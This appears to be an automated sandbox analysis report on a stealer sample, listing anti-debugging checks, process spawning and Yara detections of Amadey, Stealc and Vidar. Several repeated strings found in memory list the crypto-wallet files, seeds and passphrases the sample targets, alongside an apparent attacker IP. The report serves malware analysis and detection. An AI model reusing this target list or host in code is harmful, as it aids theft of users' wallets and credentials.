Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsJEBKKEGDBF.exe

Code function: 30_2_04B007C5 rdtsc

30_2_04B007C5

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9B5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C953480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 37_2_0029652B mov eax, dword ptr fs:[00000030h]		37_2_0029652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 37_2_0029A302 mov eax, dword ptr fs:[00000030h]		37_2_0029A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C98B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C98B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3796, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEBKKEGDBF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJEBKKEGDBF.exe "C:\Users\user\DocumentsJEBKKEGDBF.exe"
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, file.exe, 00000000.00000002.2694266529.00000000013AA000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: aProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C98B341 cpuid

0_2_6C98B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9535A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 37.2.skotes.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.DocumentsJEBKKEGDBF.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.skotes.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.skotes.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000003.2678330207.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2709313256.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.3308199480.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2753043500.0000000000261000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2718708497.00000000000E1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3426025815.0000000000261000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2712512772.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2749584608.0000000000261000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2178367888.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2693156875.0000000000FD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2688050453.000000000084E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3796, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3796, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Electrum-LTC\wallets\.
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\.
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
